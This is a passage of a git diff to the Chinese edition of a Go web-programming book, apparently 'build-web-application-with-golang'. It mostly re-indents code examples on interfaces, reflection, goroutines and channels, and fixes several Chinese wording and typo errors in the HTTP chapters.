fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} +//Employee的method重写Human的method +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} - mark.SayHi() - sam.SayHi() - } +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() +} ``` 上面的代码设计的是如此的美妙,让人不自觉的为Go的设计惊叹! diff --git a/zh/02.6.md b/zh/02.6.md index 883d0f9ac..5685cc91e 100644 --- a/zh/02.6.md +++ b/zh/02.6.md @@ -16,73 +16,73 @@ Go语言里面设计最精妙的应该算interface,它让面向对象,内容 interface类型定义了一组方法,如果某个对象实现了某个接口的所有方法,则此对象就实现了此接口。详细的语法参考下面这个例子 ```Go - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human //匿名字段Human - school string - loan float32 - } - - type Employee struct { - Human //匿名字段Human - company string - money float32 - } - - //Human对象实现Sayhi方法 - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - // Human对象实现Sing方法 - func (h *Human) Sing(lyrics string) { - fmt.Println("La la, la la la, la la la la la...", lyrics) - } - - //Human对象实现Guzzle方法 - func (h *Human) Guzzle(beerStein string) { - fmt.Println("Guzzle Guzzle Guzzle...", beerStein) - } - - // Employee重载Human的Sayhi方法 - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //此句可以分成多行 - } - - //Student实现BorrowMoney方法 - func (s *Student) BorrowMoney(amount float32) { - s.loan += amount // (again and again and...) - } - - //Employee实现SpendSalary方法 - func (e *Employee) SpendSalary(amount float32) { - e.money -= amount // More vodka please!!! Get me through the day! - } - - // 定义interface - type Men interface { - SayHi() - Sing(lyrics string) - Guzzle(beerStein string) - } - - type YoungChap interface { - SayHi() - Sing(song string) - BorrowMoney(amount float32) - } - - type ElderlyGent interface { - SayHi() - Sing(song string) - SpendSalary(amount float32) - } +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human //匿名字段Human + school string + loan float32 +} + +type Employee struct { + Human //匿名字段Human + company string + money float32 +} + +//Human对象实现Sayhi方法 +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +// Human对象实现Sing方法 +func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) +} + +//Human对象实现Guzzle方法 +func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) +} + +// Employee重载Human的Sayhi方法 +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //此句可以分成多行 +} + +//Student实现BorrowMoney方法 +func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) +} + +//Employee实现SpendSalary方法 +func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! +} + +// 定义interface +type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) +} + +type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) +} + +type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) +} ``` 通过上面的代码我们可以知道,interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理,一个对象可以实现任意多个interface,例如上面的Student实现了Men和YoungChap两个interface。 @@ -96,82 +96,82 @@ interface类型定义了一组方法,如果某个对象实现了某个接口 让我们来看一下下面这个例子: ```Go - package main - - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human //匿名字段 - school string - loan float32 - } - - type Employee struct { - Human //匿名字段 - company string - money float32 +package main + +import "fmt" + +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human //匿名字段 + school string + loan float32 +} + +type Employee struct { + Human //匿名字段 + company string + money float32 +} + +//Human实现SayHi方法 +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +//Human实现Sing方法 +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +//Employee重载Human的SayHi方法 +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) } - //Human实现SayHi方法 - func (h Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - //Human实现Sing方法 - func (h Human) Sing(lyrics string) { - fmt.Println("La la la la...", lyrics) - } - - //Employee重载Human的SayHi方法 - func (e Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) - } - - // Interface Men被Human,Student和Employee实现 - // 因为这三个类型都实现了这两个方法 - type Men interface { - SayHi() - Sing(lyrics string) - } - - func main() { - mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} - paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} - sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} - tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000} - - //定义Men类型的变量i - var i Men - - //i能存储Student - i = mike - fmt.Println("This is Mike, a Student:") - i.SayHi() - i.Sing("November rain") - - //i也能存储Employee - i = tom - fmt.Println("This is tom, an Employee:") - i.SayHi() - i.Sing("Born to be wild") - - //定义了slice Men - fmt.Println("Let's use a slice of Men and see what happens") - x := make([]Men, 3) - //这三个都是不同类型的元素,但是他们实现了interface同一个接口 - x[0], x[1], x[2] = paul, sam, mike - - for _, value := range x{ - value.SayHi() - } +// Interface Men被Human,Student和Employee实现 +// 因为这三个类型都实现了这两个方法 +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000} + + //定义Men类型的变量i + var i Men + + //i能存储Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i也能存储Employee + i = tom + fmt.Println("This is tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + //定义了slice Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + //这三个都是不同类型的元素,但是他们实现了interface同一个接口 + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() } +} ``` 通过上面的代码,你会发现interface就是一组抽象方法的集合,它必须由其他非interface类型实现,而不能自我实现, Go通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。 @@ -179,13 +179,13 @@ interface类型定义了一组方法,如果某个对象实现了某个接口 空interface(interface{})不包含任何的method,正因为如此,所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method),但是空interface在我们需要存储任意类型的数值的时候相当有用,因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。 ```Go - // 定义a为空接口 - var a interface{} - var i int = 5 - s := "Hello world" - // a可以存储任意类型的数值 - a = i - a = s +// 定义a为空接口 +var a interface{} +var i int = 5 +s := "Hello world" +// a可以存储任意类型的数值 +a = i +a = s ``` 一个函数把interface{}作为参数,那么他可以接受任意类型的值作为参数,如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊! ### interface函数参数 @@ -194,41 +194,41 @@ interface的变量可以持有任意实现该interface类型的对象,这给 举个例子:fmt.Println是我们常用的一个函数,但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件,你会看到这样一个定义: ```Go - type Stringer interface { - String() string - } +type Stringer interface { + String() string +} ``` 也就是说,任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试 ```Go - package main - import ( - "fmt" - "strconv" - ) - - type Human struct { - name string - age int - phone string - } - - // 通过这个方法 Human 实现了 fmt.Stringer - func (h Human) String() string { - return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" - } - - func main() { - Bob := Human{"Bob", 39, "000-7777-XXX"} - fmt.Println("This Human is : ", Bob) - } +package main +import ( + "fmt" + "strconv" +) + +type Human struct { + name string + age int + phone string +} + +// 通过这个方法 Human 实现了 fmt.Stringer +func (h Human) String() string { + return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" +} + +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} ``` 现在我们再回顾一下前面的Box示例,你会发现Color结构也定义了一个method:String。其实这也是实现了fmt.Stringer这个interface,即如果需要某个类型能被fmt包以特殊的格式输出,你就必须实现Stringer这个接口。如果没有实现这个接口,fmt将以默认的方式输出。 ```Go - //实现同样的功能 - fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - fmt.Println("The biggest one is", boxes.BiggestsColor()) +//实现同样的功能 +fmt.Println("The biggest one is", boxes.BiggestsColor().String()) +fmt.Println("The biggest one is", boxes.BiggestsColor()) ``` 注:实现了error接口的对象(即实现了Error() string的对象),使用fmt输出时,会调用Error()方法,因此不必再定义String()方法了。 ### interface变量存储的类型 @@ -244,44 +244,44 @@ interface的变量可以持有任意实现该interface类型的对象,这给 让我们通过一个例子来更加深入的理解。 ```Go - package main - - import ( - "fmt" - "strconv" - ) + package main - type Element interface{} - type List [] Element + import ( + "fmt" + "strconv" + ) - type Person struct { - name string - age int - } + type Element interface{} + type List [] Element - //定义了String方法,实现了fmt.Stringer - func (p Person) String() string { - return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" - } + type Person struct { + name string + age int + } - func main() { - list := make(List, 3) - list[0] = 1 // an int - list[1] = "Hello" // a string - list[2] = Person{"Dennis", 70} + //定义了String方法,实现了fmt.Stringer + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } - for index, element := range list { - if value, ok := element.(int); ok { - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - } else if value, ok := element.(string); ok { - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - } else if value, ok := element.(Person); ok { - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - } else { - fmt.Printf("list[%d] is of a different type\n", index) - } + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Printf("list[%d] is of a different type\n", index) } } + } ``` 是不是很简单啊,同时你是否注意到了多个if里面,还记得我前面介绍流程时讲过,if里面允许初始化变量。 @@ -291,45 +291,45 @@ interface的变量可以持有任意实现该interface类型的对象,这给 最好的讲解就是代码例子,现在让我们重写上面的这个实现 ```Go - package main + package main - import ( - "fmt" - "strconv" - ) + import ( + "fmt" + "strconv" + ) - type Element interface{} - type List [] Element + type Element interface{} + type List [] Element - type Person struct { - name string - age int - } + type Person struct { + name string + age int + } - //打印 - func (p Person) String() string { - return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" - } + //打印 + func (p Person) String() string { + return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" + } - func main() { - list := make(List, 3) - list[0] = 1 //an int - list[1] = "Hello" //a string - list[2] = Person{"Dennis", 70} - - for index, element := range list{ - switch value := element.(type) { - case int: - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - case string: - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - case Person: - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - default: - fmt.Println("list[%d] is of a different type", index) - } + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list{ + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) } } + } ``` 这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用,如果你要在switch外面判断一个类型就使用`comma-ok`。 @@ -339,33 +339,33 @@ Go里面真正吸引人的是它内置的逻辑语法,就像我们在学习Str 我们可以看到源码包container/heap里面有这样的一个定义 ```Go - type Interface interface { - sort.Interface //嵌入字段sort.Interface - Push(x interface{}) //a Push method to push elements into the heap - Pop() interface{} //a Pop elements that pops elements from the heap - } +type Interface interface { + sort.Interface //嵌入字段sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop elements that pops elements from the heap +} ``` 我们看到sort.Interface其实就是嵌入字段,把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法: ```Go - type Interface interface { - // Len is the number of elements in the collection. - Len() int - // Less returns whether the element with index i should sort - // before the element with index j. - Less(i, j int) bool - // Swap swaps the elements with indexes i and j. - Swap(i, j int) - } +type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) +} ``` 另一个例子就是io包下面的 io.ReadWriter ,它包含了io包下面的Reader和Writer两个interface: ```Go - // io.ReadWriter - type ReadWriter interface { - Reader - Writer - } +// io.ReadWriter +type ReadWriter interface { + Reader + Writer +} ``` ### 反射 Go语言实现了反射,所谓反射就是能检查程序在运行时的状态。我们一般用到的包是reflect包。如何运用reflect包,官方的这篇文章详细的讲解了reflect包的实现原理,[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html) @@ -373,38 +373,38 @@ Go语言实现了反射,所谓反射就是能检查程序在运行时的状态 使用reflect一般分成三步,下面简要的讲解一下:要去反射是一个类型的值(这些值都实现了空interface),首先需要把它转化成reflect对象(reflect.Type或者reflect.Value,根据不同的情况调用不同的函数)。这两种获取方式如下: ```Go - t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素 - v := reflect.ValueOf(i) //得到实际的值,通过v我们获取存储在里面的值,还可以去改变值 +t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素 +v := reflect.ValueOf(i) //得到实际的值,通过v我们获取存储在里面的值,还可以去改变值 ``` 转化为reflect对象之后我们就可以进行一些操作了,也就是将reflect对象转化成相应的值,例如 ```Go - tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签 - name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值 +tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签 +name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值 ``` 获取反射值能返回相应的类型和数值 ```Go - var x float64 = 3.4 - v := reflect.ValueOf(x) - fmt.Println("type:", v.Type()) - fmt.Println("kind is float64:", v.Kind() == reflect.Float64) - fmt.Println("value:", v.Float()) +var x float64 = 3.4 +v := reflect.ValueOf(x) +fmt.Println("type:", v.Type()) +fmt.Println("kind is float64:", v.Kind() == reflect.Float64) +fmt.Println("value:", v.Float()) ``` 最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理。反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误 ```Go - var x float64 = 3.4 - v := reflect.ValueOf(x) - v.SetFloat(7.1) +var x float64 = 3.4 +v := reflect.ValueOf(x) +v.SetFloat(7.1) ``` 如果要修改相应的值,必须这样写 ```Go - var x float64 = 3.4 - p := reflect.ValueOf(&x) - v := p.Elem() - v.SetFloat(7.1) +var x float64 = 3.4 +p := reflect.ValueOf(&x) +v := p.Elem() +v.SetFloat(7.1) ``` 上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。 diff --git a/zh/02.7.md b/zh/02.7.md index 55dc8cbcc..f80d978ca 100644 --- a/zh/02.7.md +++ b/zh/02.7.md @@ -9,40 +9,40 @@ goroutine是Go并行设计的核心。goroutine说到底其实就是协程,但 goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`go`关键字实现了,其实就是一个普通的函数。 ```Go - go hello(a, b, c) +go hello(a, b, c) ``` 通过关键字go就启动了一个goroutine。我们来看一个例子 ```Go - package main +package main - import ( - "fmt" - "runtime" - ) +import ( + "fmt" + "runtime" +) - func say(s string) { - for i := 0; i < 5; i++ { - runtime.Gosched() - fmt.Println(s) - } - } - - func main() { - go say("world") //开一个新的Goroutines执行 - say("hello") //当前Goroutines执行 +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) } - - // 以上程序执行后将输出: - // hello - // world - // hello - // world - // hello - // world - // hello - // world - // hello +} + +func main() { + go say("world") //开一个新的Goroutines执行 + say("hello") //当前Goroutines执行 +} + +// 以上程序执行后将输出: +// hello +// world +// hello +// world +// hello +// world +// hello +// world +// hello ``` 我们可以看到go关键字很方便的就实现了并发编程。 上面的多个goroutine运行在同一个进程里面,共享内存数据,不过设计上我们要遵循:不要通过共享来通信,而要通过通信来共享。 @@ -57,41 +57,41 @@ goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`g goroutine运行在相同的地址空间,因此访问共享内存必须做好同步。那么goroutine之间如何进行数据的通信呢,Go提供了一个很好的通信机制channel。channel可以与Unix shell 中的双向管道做类比:可以通过它发送或者接收值。这些值只能是特定的类型:channel类型。定义一个channel时,也需要定义发送到channel的值的类型。注意,必须使用make 创建channel: ```Go - ci := make(chan int) - cs := make(chan string) - cf := make(chan interface{}) +ci := make(chan int) +cs := make(chan string) +cf := make(chan interface{}) ``` channel通过操作符`<-`来接收和发送数据 ```Go - ch <- v // 发送v到channel ch. - v := <-ch // 从ch中接收数据,并赋值给v +ch <- v // 发送v到channel ch. +v := <-ch // 从ch中接收数据,并赋值给v ``` 我们把这些应用到我们的例子中来: ```Go - package main +package main - import "fmt" +import "fmt" - func sum(a []int, c chan int) { - total := 0 - for _, v := range a { - total += v - } - c <- total // send total to c +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v } + c <- total // send total to c +} - func main() { - a := []int{7, 2, 8, -9, 4, 0} +func main() { + a := []int{7, 2, 8, -9, 4, 0} - c := make(chan int) - go sum(a[:len(a)/2], c) - go sum(a[len(a)/2:], c) - x, y := <-c, <-c // receive from c + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c - fmt.Println(x, y, x + y) - } + fmt.Println(x, y, x + y) +} ``` 默认情况下,channel接收和发送数据都是阻塞的,除非另一端已经准备好,这样就使得Goroutines同步变的更加的简单,而不需要显式的lock。所谓阻塞,也就是如果读取(value := <-ch)它将会被阻塞,直到有数据接收。其次,任何发送(ch<-5)将会被阻塞,直到数据被读出。无缓冲channel是在多个goroutine之间同步很棒的工具。 @@ -99,24 +99,24 @@ channel通过操作符`<-`来接收和发送数据 上面我们介绍了默认的非缓存类型的channel,不过Go也允许指定channel的缓冲大小,很简单,就是channel可以存储多少元素。ch:= make(chan bool, 4),创建了可以存储4个元素的bool 型channel。在这个channel 中,前4个元素可以无阻塞的写入。当写入第5个元素时,代码将会阻塞,直到其他goroutine从channel 中读取一些元素,腾出空间。 ```Go - ch := make(chan type, value) +ch := make(chan type, value) ``` 当 value = 0 时,channel 是无缓冲阻塞读写的,当value > 0 时,channel 有缓冲、是非阻塞的,直到写满 value 个元素才阻塞写入。 我们看一下下面这个例子,你可以在自己本机测试一下,修改相应的value值 ```Go - package main +package main - import "fmt" +import "fmt" - func main() { - c := make(chan int, 2)//修改2为1就报错,修改2为3可以正常运行 - c <- 1 - c <- 2 - fmt.Println(<-c) - fmt.Println(<-c) - } +func main() { + c := make(chan int, 2)//修改2为1就报错,修改2为3可以正常运行 + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} //修改为1报如下的错误: //fatal error: all goroutines are asleep - deadlock! ``` @@ -124,28 +124,28 @@ channel通过操作符`<-`来接收和发送数据 上面这个例子中,我们需要读取两次c,这样不是很方便,Go考虑到了这一点,所以也可以通过range,像操作slice或者map一样操作缓存类型的channel,请看下面的例子 ```Go - package main +package main - import ( - "fmt" - ) +import ( + "fmt" +) - func fibonacci(n int, c chan int) { - x, y := 1, 1 - for i := 0; i < n; i++ { - c <- x - x, y = y, x + y - } - close(c) +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x + y } - - func main() { - c := make(chan int, 10) - go fibonacci(cap(c), c) - for i := range c { - fmt.Println(i) - } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) } +} ``` `for i := range c`能够不断的读取channel里面的数据,直到该channel被显式的关闭。上面代码我们看到可以显式的关闭channel,生产者通过内置函数`close`关闭channel。关闭channel之后就无法再发送任何数据了,在消费方可以通过语法`v, ok := <-ch`测试channel是否被关闭。如果ok返回false,那么说明channel已经没有任何数据并且已经被关闭。 @@ -159,66 +159,66 @@ channel通过操作符`<-`来接收和发送数据 `select`默认是阻塞的,只有当监听的channel中有发送或接收可以进行时才会运行,当多个channel都准备好的时候,select是随机的选择一个执行的。 ```Go - package main +package main - import "fmt" +import "fmt" - func fibonacci(c, quit chan int) { - x, y := 1, 1 - for { - select { - case c <- x: - x, y = y, x + y - case <-quit: - fmt.Println("quit") - return - } +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x + y + case <-quit: + fmt.Println("quit") + return } } - - func main() { - c := make(chan int) - quit := make(chan int) - go func() { - for i := 0; i < 10; i++ { - fmt.Println(<-c) - } - quit <- 0 - }() - fibonacci(c, quit) - } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} ``` 在`select`里面还有default语法,`select`其实就是类似switch的功能,default就是当监听的channel都没有准备好的时候,默认执行的(select不再阻塞等待channel)。 ```Go - select { - case i := <-c: - // use i - default: - // 当c阻塞的时候执行这里 - } +select { +case i := <-c: + // use i +default: + // 当c阻塞的时候执行这里 +} ``` ## 超时 有时候会出现goroutine阻塞的情况,那么我们如何避免整个程序进入阻塞的情况呢?我们可以利用select来设置超时,通过如下的方式实现: ```Go - func main() { - c := make(chan int) - o := make(chan bool) - go func() { - for { - select { - case v := <- c: - println(v) - case <- time.After(5 * time.Second): - println("timeout") - o <- true - break - } +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <- c: + println(v) + case <- time.After(5 * time.Second): + println("timeout") + o <- true + break } - }() - <- o - } + } + }() + <- o +} ``` ## runtime goroutine diff --git a/zh/02.8.md b/zh/02.8.md index ca82b482b..8b74318db 100644 --- a/zh/02.8.md +++ b/zh/02.8.md @@ -3,11 +3,11 @@ 这一章我们主要介绍了Go语言的一些语法,通过语法我们可以发现Go是多么的简单,只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。 ```Go - break default func interface select - case defer go map struct - chan else goto package switch - const fallthrough if range type - continue for import return var +break default func interface select +case defer go map struct +chan else goto package switch +const fallthrough if range type +continue for import return var ``` - var和const参考2.2Go语言基础里面的变量和常量申明 - package和import已经有过短暂的接触 diff --git a/zh/03.1.md b/zh/03.1.md index 84dc87a47..c52ea7560 100644 --- a/zh/03.1.md +++ b/zh/03.1.md @@ -25,7 +25,7 @@ Web服务器的工作原理可以简单地归纳为: URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下 scheme://host[:port#]/path/.../[?query-string][#anchor] - scheme 指定低层使用的协议(例如:http, https, ftp) + scheme 指定底层使用的协议(例如:http, https, ftp) host HTTP服务器的IP地址或者域名 port# HTTP服务器的默认端口是80,这种情况下端口号可以省略。如果使用了别的端口,必须指明,例如 http://www.cnblogs.com:8080/ path 访问资源的路径 @@ -50,7 +50,7 @@ URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用 5. 如果本地DNS服务器本地区域文件与缓存解析都失效,则根据本地DNS服务器的设置(是否设置转发器)进行查询,如果未用转发模式,本地DNS就把请求发至 “根DNS服务器”,“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理,并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后,将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后,如果自己无法解析,它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后,就会找qq.com域服务器,重复上面的动作,进行查询,直至找到www.qq.com主机。 -6. 如果用的是转发模式,此DNS服务器就会把请求转发至上一级DNS服务器,由上一级服务器进行解析,上一级服务器如果不能解析,或找根DNS或把转请求转至上上级,以此循环。不管是本地DNS服务器用是是转发,还是根提示,最后都是把结果返回给本地DNS服务器,由此DNS服务器再返回给客户机。 +6. 如果用的是转发模式,此DNS服务器就会把请求转发至上一级DNS服务器,由上一级服务器进行解析,上一级服务器如果不能解析,或找根DNS或把转请求转至上上级,以此循环。不管本地DNS服务器用的是转发,还是根提示,最后都是把结果返回给本地DNS服务器,由此DNS服务器再返回给客户机。 ![](images/3.1.dns_inquery.png?raw=true) @@ -68,7 +68,7 @@ HTTP协议是Web工作的核心,所以要了解清楚Web的工作方式就需 HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上,一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求,服务器响应这个请求。在HTTP中,客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系,也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如,当浏览器下载一个文件时,你可以通过点击“停止”键来中断文件的下载,关闭与服务器的HTTP连接。 -HTTP协议是无状态的,同一个客户端的这次请求和上次请求是没有对应关系,对HTTP服务器来说,它并不知道这两个请求是否来自同一个客户端。为了解决这个问题, Web程序引入了Cookie机制来维护连接的可持续状态。 +HTTP协议是无状态的,同一个客户端的这次请求和上次请求是没有对应关系的,对HTTP服务器来说,它并不知道这两个请求是否来自同一个客户端。为了解决这个问题, Web程序引入了Cookie机制来维护连接的可持续状态。 >HTTP协议是建立在TCP协议之上的,因此TCP攻击一样会影响HTTP的通讯,例如比较常见的一些攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。 @@ -79,13 +79,13 @@ HTTP协议是无状态的,同一个客户端的这次请求和上次请求是 GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本 Host:www.iana.org //服务端的主机名 User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息 - Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的MIME Accept-Encoding:gzip,deflate,sdch //是否支持流压缩 Accept-Charset:UTF-8,*;q=0.5 //客户端字符编码集 //空行,用于分割请求头和消息体 //消息体,请求资源参数,例如POST传递的参数 -HTTP协议定义了很多与服务器交互的请求方法,最基本的有4种,分别是GET,POST,PUT,DELETE。一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,改,增,删4个操作。我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 +HTTP协议定义了很多与服务器交互的请求方法,最基本的有4种,分别是GET,POST,PUT,DELETE。一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,增,改,删4个操作。我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 通过fiddler抓包可以看到如下请求信息: diff --git a/zh/03.2.md b/zh/03.2.md index ee59af4ab..68eb1b960 100644 --- a/zh/03.2.md +++ b/zh/03.2.md @@ -1,40 +1,40 @@ # 3.2 Go搭建一个Web服务器 -前面小节已经介绍了Web是基于http协议的一个服务,Go语言里面提供了一个完善的net/http包,通过http包可以很方便的就搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由,静态文件,模版,cookie等数据进行设置和操作。 +前面小节已经介绍了Web是基于http协议的一个服务,Go语言里面提供了一个完善的net/http包,通过http包可以很方便的搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由,静态文件,模版,cookie等数据进行设置和操作。 ## http包建立Web服务器 ```Go - package main - - import ( - "fmt" - "net/http" - "strings" - "log" - ) - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - r.ParseForm() //解析参数,默认是不会解析的 - fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 - fmt.Println("path", r.URL.Path) - fmt.Println("scheme", r.URL.Scheme) - fmt.Println(r.Form["url_long"]) - for k, v := range r.Form { - fmt.Println("key:", k) - fmt.Println("val:", strings.Join(v, "")) - } - 